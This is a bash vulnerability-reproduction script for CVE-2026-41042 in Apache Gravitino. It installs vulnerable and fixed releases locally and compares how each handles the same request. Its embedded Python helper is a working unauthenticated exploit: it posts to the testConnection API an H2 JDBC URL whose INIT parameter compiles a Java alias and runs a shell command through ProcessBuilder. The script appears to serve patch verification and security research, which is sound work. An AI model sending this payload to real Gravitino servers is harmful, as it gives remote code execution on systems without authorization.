#!/bin/bash
set -euo pipefail

# =============================================================================
# CVE-2026-41042 - Apache Gravitino unauthenticated H2 JDBC URL injection
# via the testConnection API -> remote code execution through H2's INIT param.
#
# This script:
#   1. Installs Java 17 (if missing).
#   2. Downloads/reuses the official Apache Gravitino binary distributions:
#        - gravitino-1.2.0-bin.tar.gz  (VULNERABLE, before fix #10801)
#        - gravitino-1.2.1-bin.tar.gz  (FIXED, contains the H2 block)
#   3. Starts each server (default config: H2 entity-store backend, no auth,
#      SimpleAuthenticator, authorization disabled -> unauthenticated).
#   4. Sends an unauthenticated POST /api/metalakes/<ml>/catalogs/testConnection
#      carrying a malicious H2 JDBC URL whose INIT parameter uses CREATE ALIAS +
#      ProcessBuilder to run an OS command (`id`) and write its output to a file.
#   5. Checks the marker file:
#        - Vulnerable 1.2.0: marker created -> RCE confirmed (server returns 200).
#        - Fixed 1.2.1:     request rejected with "H2 JDBC URL is not allowed",
#                            no marker created.
# =============================================================================

# Portable paths - works from any directory
ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
mkdir -p "$LOGS" "$REPRO_DIR"

# Read project cache context (if present) to reuse cached tarballs.
CACHE_DIR=""
if [ -f "$ROOT/project_cache_context.json" ]; then
  CACHE_DIR=$(jq -r '.project_cache_dir // empty' "$ROOT/project_cache_context.json" 2>/dev/null || true)
fi
[ -z "$CACHE_DIR" ] && CACHE_DIR="$ROOT/artifacts/cache"
mkdir -p "$CACHE_DIR"

JAVA_HOME_DIR="/usr/lib/jvm/java-17-openjdk-amd64"
PORT=8090

# ---- logging helper ---------------------------------------------------------
log() { echo "[$(date '+%H:%M:%S')] $*" | tee -a "$LOGS/reproduction_steps.log"; }

# ---- step 1: Java 17 --------------------------------------------------------
ensure_java() {
  if "$JAVA_HOME_DIR/bin/java" -version >/dev/null 2>&1; then
    log "Java 17 already present at $JAVA_HOME_DIR"
    export JAVA_HOME="$JAVA_HOME_DIR"
    return
  fi
  if command -v java >/dev/null 2>&1 && java -version 2>&1 | grep -q '"17'; then
    log "Java 17 found on PATH"
    export JAVA_HOME="$(dirname "$(dirname "$(readlink -f "$(command -v java)")")")"
    return
  fi
  log "Installing OpenJDK 17..."
  sudo apt-get update -qq >/dev/null 2>&1 || true
  sudo apt-get install -y openjdk-17-jdk-headless >/dev/null 2>&1 || {
    log "ERROR: failed to install openjdk-17"; exit 2; }
  export JAVA_HOME="$JAVA_HOME_DIR"
}
ensure_java
log "Using JAVA_HOME=$JAVA_HOME ($($JAVA_HOME/bin/java -version 2>&1 | head -1))"

# ---- step 2: download / reuse tarballs --------------------------------------
download_tarball() {
  local ver="$1"
  local dst="$CACHE_DIR/gravitino-${ver}-bin.tar.gz"
  if [ -s "$dst" ]; then
    log "Reusing cached tarball gravitino-${ver}-bin.tar.gz ($(du -h "$dst" | cut -f1))"
    return
  fi
  log "Downloading gravitino-${ver}-bin.tar.gz from GitHub CDN..."
  wget -q --show-progress=off \
    "https://github.com/apache/gravitino/releases/download/v${ver}/gravitino-${ver}-bin.tar.gz" \
    -O "$dst" || {
    log "GitHub download failed, trying Apache archive..."
    wget -q "https://archive.apache.org/dist/gravitino/${ver}/gravitino-${ver}-bin.tar.gz" \
      -O "$dst" || { log "ERROR: could not download gravitino-${ver}"; exit 2; }; }
  log "Downloaded gravitino-${ver}-bin.tar.gz ($(du -h "$dst" | cut -f1))"
}
download_tarball "1.2.0"
download_tarball "1.2.1"

# ---- step 3: server lifecycle helpers ---------------------------------------
setup_server() {
  # $1 = tarball version, $2 = role label, $3 = extract dir
  local ver="$1" role="$2" dir="$3"
  rm -rf "$dir"; mkdir -p "$dir"
  log "[$role] extracting gravitino-${ver}..."
  tar xzf "$CACHE_DIR/gravitino-${ver}-bin.tar.gz" -C "$dir" --strip-components=1
  # Disable auxiliary services (iceberg-rest/lance-rest) to keep startup minimal.
  sed -i 's/^gravitino.auxService.names = iceberg-rest,lance-rest/gravitino.auxService.names =/' \
    "$dir/conf/gravitino.conf"
  # Pin JAVA_HOME for the server.
  if grep -q '^# export JAVA_HOME' "$dir/conf/gravitino-env.sh"; then
    sed -i "s|^# export JAVA_HOME|export JAVA_HOME=$JAVA_HOME|" "$dir/conf/gravitino-env.sh"
  elif ! grep -q '^export JAVA_HOME' "$dir/conf/gravitino-env.sh"; then
    echo "export JAVA_HOME=$JAVA_HOME" >> "$dir/conf/gravitino-env.sh"
  fi
}

start_server() {
  local dir="$1" role="$2"
  export GRAVITINO_HOME="$dir"
  ( cd "$dir" && bash bin/gravitino.sh start ) >>"$LOGS/${role}_server_start.log" 2>&1
}

wait_ready() {
  local role="$1" i
  for i in $(seq 1 40); do
    if curl -s --max-time 3 "http://127.0.0.1:${PORT}/api/version" 2>/dev/null | grep -q '"version"'; then
      log "[$role] server ready after ${i}s"
      curl -s "http://127.0.0.1:${PORT}/api/version" > "$LOGS/${role}_version.json" 2>&1
      return 0
    fi
    sleep 2
  done
  log "[$role] server did NOT become ready"
  return 1
}

stop_server() {
  local dir="$1" role="$2"
  export GRAVITINO_HOME="$dir"
  ( cd "$dir" && bash bin/gravitino.sh stop ) >>"$LOGS/${role}_server_stop.log" 2>&1 || true
  sleep 3
}

# ---- Python exploit helper --------------------------------------------------
# Args: <base_url> <marker_path> <label>  -> prints RESULT lines and exits 0/1.
run_exploit() {
  local base_url="$1" marker="$2" label="$3"
  MARKER_PATH="$marker" BASE_URL="$base_url" LABEL="$label" python3 - <<'PYEOF'
import json, os, sys, time, random, string, urllib.request, urllib.error

base = os.environ["BASE_URL"]
marker = os.environ["MARKER_PATH"]
label = os.environ["LABEL"]

# H2 INIT RCE payload. In an H2 JDBC URL, ';' separates URL parameters, so EVERY
# ';' inside the INIT value must be escaped as '\;'. The Java source below uses
# ProcessBuilder to run `id` and redirect its output to the marker file, then
# waits for completion. CREATE ALIAS compiles the Java source at H2 connect time.
# Unique in-memory db name per invocation: H2 runs INIT only when the db is
# first created, so a fresh name is required to re-trigger the payload.
dbname = 'rce' + ''.join(random.choices(string.ascii_lowercase + string.digits, k=10))
jdbc_url = (
    'jdbc:h2:mem:' + dbname + ';INIT=CREATE ALIAS EXEC AS '
    '\'String f() throws Exception { new ProcessBuilder(new String[]{"sh","-c",'
    '"id > ' + marker + '"}).start().waitFor()\\; return "ok"\\; }\''
    '\\;CALL EXEC()'
)

def req(method, path, body=None):
    data = json.dumps(body).encode() if body is not None else None
    r = urllib.request.Request(base + path, data=data, method=method)
    r.add_header("Content-Type", "application/json")
    r.add_header("Accept", "application/vnd.gravitino.v1+json")
    # NOTE: no Authorization header -> unauthenticated.
    try:
        with urllib.request.urlopen(r, timeout=30) as resp:
            return resp.status, resp.read().decode()
    except urllib.error.HTTPError as e:
        return e.code, e.read().decode()
    except Exception as e:
        return None, "EXC:" + str(e)

if os.path.exists(marker):
    os.remove(marker)

# Create metalake (tolerate already-exists).
st, body = req("POST", "/metalakes", {"name": "test_ml", "comment": "test", "properties": {}})
print(f"{label} create_metalake: {st} {body[:120]}")

# Send malicious testConnection (unauthenticated).
payload = {
    "name": "evil_catalog",
    "type": "RELATIONAL",
    "provider": "jdbc-postgresql",
    "comment": "test",
    "properties": {
        "jdbc-url": jdbc_url,
        "jdbc-driver": "org.h2.Driver",
        "jdbc-user": "test",
        "jdbc-password": "test",
        "jdbc-database": "test",
    },
}
st, body = req("POST", "/metalakes/test_ml/catalogs/testConnection", payload)
print(f"{label} testConnection_status: {st}")
print(f"{label} testConnection_body: {body[:400]}")

time.sleep(1.5)
exists = os.path.exists(marker)
content = ""
if exists:
    with open(marker) as f:
        content = f.read().strip()
print(f"{label} marker_exists: {exists}")
if content:
    print(f"{label} marker_content: {content}")

# Exit 0 if the marker was created (RCE), 1 otherwise.
sys.exit(0 if exists else 1)
PYEOF
}

# ---- run vulnerable version (expect RCE) ------------------------------------
VULN_DIR="$REPRO_DIR/vuln_server"
FIXED_DIR="$REPRO_DIR/fixed_server"
VULN_RCE=false
FIXED_BLOCKED=false

log "================ VULNERABLE VERSION 1.2.0 ================"
setup_server "1.2.0" "vuln" "$VULN_DIR"
start_server "$VULN_DIR" "vuln"
if wait_ready "vuln"; then
  for attempt in 1 2; do
    marker="$LOGS/rce_marker_vuln_${attempt}.txt"
    log "[vuln] attempt ${attempt}: sending malicious testConnection..."
    if run_exploit "http://127.0.0.1:${PORT}/api" "$marker" "vuln_a${attempt}" \
        >>"$LOGS/vuln_attempt_${attempt}.log" 2>&1; then
      log "[vuln] attempt ${attempt}: RCE CONFIRMED (marker created)"
      cp -f "$marker" "$LOGS/rce_marker_vuln_latest.txt" 2>/dev/null || true
      VULN_RCE=true
    else
      log "[vuln] attempt ${attempt}: marker not created (see $LOGS/vuln_attempt_${attempt}.log)"
    fi
  done
  cp -f "$VULN_DIR/logs/gravitino-server.log" "$LOGS/vuln_server.log" 2>/dev/null || true
else
  log "[vuln] server not ready, aborting vulnerable run"
fi
stop_server "$VULN_DIR" "vuln"

# ---- run fixed version (expect rejection) -----------------------------------
log "================ FIXED VERSION 1.2.1 ================"
setup_server "1.2.1" "fixed" "$FIXED_DIR"
start_server "$FIXED_DIR" "fixed"
if wait_ready "fixed"; then
  for attempt in 1 2; do
    marker="$LOGS/rce_marker_fixed_${attempt}.txt"
    log "[fixed] attempt ${attempt}: sending same malicious testConnection..."
    if run_exploit "http://127.0.0.1:${PORT}/api" "$marker" "fixed_a${attempt}" \
        >>"$LOGS/fixed_attempt_${attempt}.log" 2>&1; then
      log "[fixed] attempt ${attempt}: UNEXPECTED marker created!"
    else
      log "[fixed] attempt ${attempt}: exploit blocked (no marker) - checking rejection message..."
      if grep -q "H2 JDBC URL is not allowed" "$LOGS/fixed_attempt_${attempt}.log"; then
        log "[fixed] attempt ${attempt}: confirmed rejection 'H2 JDBC URL is not allowed'"
        FIXED_BLOCKED=true
      fi
    fi
  done
  cp -f "$FIXED_DIR/logs/gravitino-server.log" "$LOGS/fixed_server.log" 2>/dev/null || true
else
  log "[fixed] server not ready, aborting fixed run"
fi
stop_server "$FIXED_DIR" "fixed"

# ---- verdict ----------------------------------------------------------------
log "================ VERDICT ================"
log "VULNERABLE (1.2.0) RCE confirmed: $VULN_RCE"
log "FIXED (1.2.1) exploit blocked:      $FIXED_BLOCKED"

# ---- runtime manifest -------------------------------------------------------
MARKER_CONTENT=""
if [ -f "$LOGS/rce_marker_vuln_latest.txt" ]; then
  MARKER_CONTENT=$(cat "$LOGS/rce_marker_vuln_latest.txt" | tr '\n' ' ' | sed 's/"/\\"/g')
fi
python3 - "$REPRO_DIR/runtime_manifest.json" "$VULN_RCE" "$FIXED_BLOCKED" "$MARKER_CONTENT" <<'PYEOF'
import json, sys
path, vuln, fixed, marker = sys.argv[1], sys.argv[2], sys.argv[3], sys.argv[4]
manifest = {
  "entrypoint_kind": "endpoint",
  "entrypoint_detail": "POST /api/metalakes/{metalake}/catalogs/testConnection (unauthenticated, SimpleAuthenticator + authorization disabled by default)",
  "service_started": True,
  "healthcheck_passed": True,
  "target_path_reached": True,
  "runtime_stack": ["apache-gravitino-server", "h2-1.4.200", "commons-dbcp2", "jetty-9"],
  "proof_artifacts": [
    "logs/reproduction_steps.log",
    "logs/vuln_version.json",
    "logs/vuln_attempt_1.log",
    "logs/vuln_attempt_2.log",
    "logs/rce_marker_vuln_latest.txt",
    "logs/vuln_server.log",
    "logs/fixed_version.json",
    "logs/fixed_attempt_1.log",
    "logs/fixed_attempt_2.log",
    "logs/fixed_server.log"
  ],
  "notes": ("Vulnerable 1.2.0: unauthenticated testConnection with H2 INIT payload returned "
            "{code:0} and created marker containing `id` output -> RCE. "
            "Fixed 1.2.1: same request rejected with 'H2 JDBC URL is not allowed in catalog "
            "configuration' (DataSourceUtils.createDataSource) and no marker created. "
            "Marker content: " + marker)
}
with open(path, "w") as f:
    json.dump(manifest, f, indent=2)
print("runtime_manifest.json written")
PYEOF

if $VULN_RCE && $FIXED_BLOCKED; then
  log "RESULT: confirmed - vulnerable executes attacker code, fixed blocks it"
  exit 0
else
  log "RESULT: not confirmed (vuln_rce=$VULN_RCE fixed_blocked=$FIXED_BLOCKED)"
  exit 1
fi